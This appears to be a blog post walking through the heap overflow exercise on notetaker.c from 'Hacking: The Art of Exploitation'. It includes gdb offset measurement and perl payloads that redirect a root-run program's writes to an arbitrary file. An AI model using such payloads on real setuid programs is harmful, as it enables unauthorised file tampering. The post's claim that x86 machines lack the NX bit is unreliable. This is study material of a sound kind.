The heap is another area of memory that a program in execution uses. We have discussed it before and we know that it’s different from the stack because we may allocate it and free it during programming. But like the stack the heap is susceptible to overflows.
Lets Exploit it
In the notetaker.c program from Hacking the Art of Exploitation there are two buffers that we allocate using malloc(). As a reminder lets look at a snippet of code from notetaker.c
buffer = (char *) ec_malloc(100); datafile = (char *) ec_malloc(20); strcpy(datafile, "/var/notes"); if(argc < 2) //If no args invoke usage fctn. usage(argv, datafile); strcpy(buffer, argv); //copy cmd arg to buffer
We see the call to the error checking malloc() function written in “hacking.h” which calls malloc() and reports an error if it fails. Then we see our vulnerability staring at us in bold. We have an unchecked copy from the command line argument into a buffer of fixed size.
We can find the distance between the allocated buffer in the heap by running our program and using the output. Following the steps of HTAE.
$ ./notetaker test [DEBUG] buffer @ 0x804a008: 'test' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] file descriptor is 3 Note has been saved. exploit@32:~/Hacking/Programming$ gdb -q (gdb) p 0x804a070 - 0x804a008 $1 = 104 (gdb) quit
Armed with this knowledge we will leverage perl again to take advantage of the vulnerability.
$ ./notetaker $(perl -e 'print "A"x104') [DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [DEBUG] datafile @ 0x804a070: '' [!!] Fatal Error in main() while opening file: No such file or directory
We input a command line argument that spans the bytes between buffer and datafile. When we hit datafile we cleared out the buffer and put a single null byte in it. Since there is no file identified with the null byte there is an error and the program crashes. But something to remember here is the structure of the program. The datafile is the file we are going to write the buffer into. So we just need to get creative about what we put at the end of that string of input.
$ ./notetaker $(perl -e 'print "A"x104 . "testfile"') [DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile' [DEBUG] datafile @ 0x804a070: 'testfile' [DEBUG] file descriptor is 3 Note has been saved. *** Error in `./notetaker': free(): invalid next size (normal): 0x0804a008 *** Aborted
We don’t get the same output as was shown in HTAE and from what I’ve gathered by looking around Google the glibc file has been modified to make the output we find in the book no longer happen. Something interesting does happen though. If we look in our present working directory there is a new file called testfile. When we look at the contents of this file we see that we are writing to wherever we put in the datafile buffer.
$ cat testfile cat: testfile: Permission denied $ sudo cat testfile [sudo] password for exploit: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile
The way the notetaker.c program is written it circumvents some of the built in glibc protections for the heap. Specifically it circumvents the unlinking protection by not using heap header information. So we can append anything we want to any file (remember notetaker.c executes as root) as long as it fits in the 104 byte buffer. Because it’s been brought up now lets look at some heap protections that have been introduced.
One defense we have already seen before and disabled on our machine. ASLR protects the heap in addition to the stack.
A second protection is implemented by the hardware. It’s called NX bit and it separates the portion of memory that executable code can reside in and the data portion. With this protection if we were to pass anything that is executable to the buffer it would be rendered inert because of the lack of ability to execute. However NX bit is mainly found on what is called Harvard architecture and mainly found in digital signal processors and microcontrollers. The computer I’m typing this on is an x86 architecture. Which is a Von Neumann architecture. Most of todays personal computers are von Neumann architecture machines and you can read about what that means here.
The last thing are heap manager sanity checks.
Again when we are exploiting the machine running our code we have done a considerable amount of work preparing the machine to be exploited. In fact with the access we need to accomplish what we are doing we would be able to just do whatever we wanted anyway. But the examples are very instructive.
We have seen that the heap can experience buffer overflows as well. However the nature of the exploit is different in our example compared to the stack overflow example. The last thing I took a mental note of when reading the material about the heap in HTAE was the section on creating ways to insert code in a file to get it to execute. There is a severe restriction in what we can put in our example of a heap overflow. It has to be 104 bytes and end in the file we want to write to. So you have to come up with a way to get your executable information in that size and the file name to not render that code unusable.